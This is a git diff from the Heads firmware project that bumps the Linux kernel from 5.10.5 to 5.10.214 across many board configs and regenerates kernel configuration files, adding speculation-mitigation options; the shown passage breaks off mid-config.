config/linux-kgpe-d16_server-whiptail.config | 274 +++++++++++++++-- config/linux-kgpe-d16_server.config | 277 ++++++++++++++++-- config/linux-kgpe-d16_workstation.config | 62 ++-- config/linux-librem_common.config | 60 ++-- config/linux-qemu.config | 67 +++-- config/linux-t440p.config | 62 ++-- config/linux-talos-2.config | 2 +- config/linux-w541.config | 62 ++-- config/linux-x230-flash.config | 45 ++- config/linux-x230-legacy.config | 60 ++-- config/linux-x230-maximized.config | 63 ++-- modules/linux | 6 +- .../0001-fake-acpi.patch | 0 .../0002-nmi-squelch.patch | 0 .../0003-fake-trampoline.patch | 0 .../0010-winterfell-ahci.patch | 0 patches/linux-5.10.214/shebangs.patch | 40 +++ ...ubcmd_Fix_use-after-free-for-realloc.patch | 64 ---- patches/linux-5.10.5/shebangs.patch | 100 ------- 51 files changed, 940 insertions(+), 428 deletions(-) rename patches/{linux-5.10.5 => linux-5.10.214}/0001-fake-acpi.patch (100%) rename patches/{linux-5.10.5 => linux-5.10.214}/0002-nmi-squelch.patch (100%) rename patches/{linux-5.10.5 => linux-5.10.214}/0003-fake-trampoline.patch (100%) rename patches/{linux-5.10.5 => linux-5.10.214}/0010-winterfell-ahci.patch (100%) create mode 100644 patches/linux-5.10.214/shebangs.patch delete mode 100644 patches/linux-5.10.5/0004-libsubcmd_Fix_use-after-free-for-realloc.patch delete mode 100644 patches/linux-5.10.5/shebangs.patch diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 3a847c260..8fc8b55d1 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -19,7 +19,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server-whiptail.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server-whiptail.config diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 5f363add8..7b905ecde 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -17,7 +17,7 @@ # - Please support https://github.com/osresearch/heads/issues/719 export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server.config diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 235d579ab..dbe8b3855 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -13,7 +13,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation-usb_keyboard.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index e927edabc..77eae6877 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -17,7 +17,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index ed8dc1765..1b0af69c8 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 export CONFIG_PURISM_BLOBS=y CONFIG_CRYPTSETUP2=y diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 665cb0e45..6e406aa03 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -6,7 +6,7 @@ # the VM. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 81558e823..0482e20dd 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 21750ddcf..498b2df8a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -5,7 +5,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 94881db3b..f9275f313 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 68f0acf09..f34c8b894 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -6,7 +6,7 @@ # the VM. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index c700478cb..ec1f6cde6 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 6574dc3ec..3fc6fa9f2 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -5,7 +5,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 019521225..2b4b3caa9 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index dbdeda6a0..f3019d2c4 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 2bd5aaaa6..e44175e51 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 1861c64cb..c1efccd9c 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 0a804940a..acc7b54fe 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 22aeb9c6a..b6ad3c897 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -5,7 +5,7 @@ CONFIG_LINUX_CONFIG=config/linux-t440p.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index f237b3dbd..234259db1 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 84acd68ca..62cda1ab9 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 425989a95..02f9f2de8 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -9,7 +9,7 @@ # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 26c88bb63..952d5dd13 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -9,7 +9,7 @@ # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 881beae0f..d031350b7 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -5,7 +5,7 @@ CONFIG_LINUX_CONFIG=config/linux-w541.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 33637c7d5..1090bab83 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index c752635c7..66bf251b6 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 853118fbd..ad48e56a5 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -20,7 +20,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 50042591c..d29cb62ba 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 74171f221..082b5c974 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -10,7 +10,7 @@ # USB Keyboard support export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index ce7a66e1b..d1b8c6282 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -20,7 +20,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 6c2706898..5ca4e1e54 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 35f389015..736b512b3 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -26,7 +26,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-z220-cmt.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/config/linux-c216.config b/config/linux-c216.config index dbd963eac..8a5b76381 100644 --- a/config/linux-c216.config +++ b/config/linux-c216.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -369,6 +370,13 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +# CONFIG_PAGE_TABLE_ISOLATION is not set +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -560,6 +568,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -612,6 +621,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -624,6 +634,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -758,6 +772,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -779,7 +794,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -962,7 +976,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1316,7 +1329,6 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1500,10 +1512,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # 